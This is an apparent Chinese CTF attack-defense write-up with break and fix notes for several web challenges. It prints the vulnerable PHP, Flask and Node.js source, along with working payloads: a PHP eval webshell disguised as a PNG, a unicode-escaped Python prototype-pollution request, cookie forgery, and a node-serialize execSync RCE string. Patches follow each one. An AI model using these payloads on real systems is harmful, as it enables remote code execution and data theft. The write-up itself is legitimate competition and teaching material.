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rank 8,fix阶段翻盘,算是没白打
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- upload.php
<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
die("只允许png哦!<br>");
}
if (preg_match('/(php|script|xml|user|htaccess)/i', $content)) {
// echo "匹配成功!";
die('鼠鼠说你的内容不符合哦0-0');
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
echo $file;
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
break
- 修改
Content-Type
为image/png
,文件名为*.php
‰PNG
<?=eval($_POST['cmd']);>
fix
- 限制文件名,加过滤(限制文件内容
<?
之类的不太行,正常的png很多也包含这种字符
粗心的程序员
break
- 先扫目录,得到源代码
/www.zip
,主要关注home.php
,命令注入,\r
换行绕过
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["HTTP_X_FORWARDED_FOR"]?:$_SERVER["REMOTE_ADDR"];
if (preg_match("/\?|php|:/i",$p))
{
die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
echo "Hello,"."$username";
$str = "//登陆时间$time,$username $p";
$str = str_replace("\n","",$str);
file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
die("NO ACCESS");
}
?>
fix
- 加过滤换行
Polluted
break
- 一眼经典python原型链污染
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)
- 使用unicode绕过过滤,污染
app.static_folder
app.static_url_path
app.secret_key
,直接访问/static/flag
即可
POST / HTTP/1.1
Host: 10.1.119.20
Contest-Type: application/json
Content-Length: 481
{"username": "adminer", "password": "admin",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0061\u0070\u0070": {"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "admin",
"\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "../../../../../",
"\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0075\u0072\u006c\u005f\u0070\u0061\u0074\u0068": "/static"}} }}
- 注意,为获取到合法的session,需要触发过滤避免json解析报错
Content-Type: application/x-www-form-urlencoded
username=adminer&password=admin&_
fix
- 删除
merge
调用
bigfish
break
- 修改cookie值进入后台
Cookie: username=admin; is_admin=true
- 简单测试后发现可以通过修改数据存储位置达成任意文件读,读取
/start.sh
得到
cd /srv && node fish.js
- 得到源码
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');
// Change working directory to /srv
process.chdir('/srv');
let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];
// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});
const app = express();
app.engine('html',require('express-art-template'))
app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))
data_path = "data.html";
// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}
//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});
app.post('/',function(req, res){
var data = JSON.stringify(req.body);
fs.appendFile('data.html', data+"\n",function(error){
console.log(req.body)
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});
//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});
app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
data_path = req.body.newname;
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});
//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});
//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, data_path));
}
});
app.listen(80, '0.0.0.0');
- 发现存在序列化入口
{"asd":"_$$ND_FUNC$$_()=>{});(()=>{require('child_process').execSync('cat /this_is_your_ffflagg>/srv/public/1')})();//"}
fix
这个靶机洞比较多,涉及任意文件读,xss,nodejs序列化
- 任意文件读:把
data_path
写死为data.html
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, "data.html"));
}
});
- xss:可能存在的地方有两处,访问
/qq
时回显data.html
内容,访问/admin
时回显数据存储文件名,分别修改
app.post('/',function(req, res){
var data = JSON.stringify(req.body);
// 转义data
fs.appendFile('data.html', data+"\n",function(error){
console.log(req.body)
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});
//views/admin.html
<ul class="list-group">
<li class="list-group-item">
<form action="/admin" method="post">
<b>数据储存位置:</b>
<--- 修改为 value="{{ datadir }}" --->
<input type="text" name="newname" value={{ datadir }} >
 
<input type="submit" value="修改">
</form>
</li>
<li class="list-group-item">
<b>当前运行软件:</b> fish.js
</li>
</ul>
- 序列化:加过滤
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
if (str.indexOf('_$$ND_FUNC$$_') != -1) str='{}';
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});
Pwn
ezwp | stuck
break
- 听说有非预期直接
Ctrl-F
,但是结束后启docker似乎并没有,可能环境不一样吧
- index.php
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
if(preg_match('/[a-z,A-Z,0-9<>\?]/', $_POST['code']) === 0){
eval($_POST['code']);
}else{
die();
}
}else{
phpinfo();
}
?>
- 首先一个无字母数字RCE,用自增,参考CTFShow某次挑战的payload(囤wp终于有次起到了作用,虽然最后也没打出来),同时发现存在
disable_functions
,分析myphp.so
发现几个函数zif_phppwn
,可以通过输入密码获取flag,但是长度不够,需要绕过,然后不会
fix
- 听我们的pwn手说把
/flag
字符改了也行,但是第一次check没过,不清楚是down了还是没成功替换,总之最后一轮过了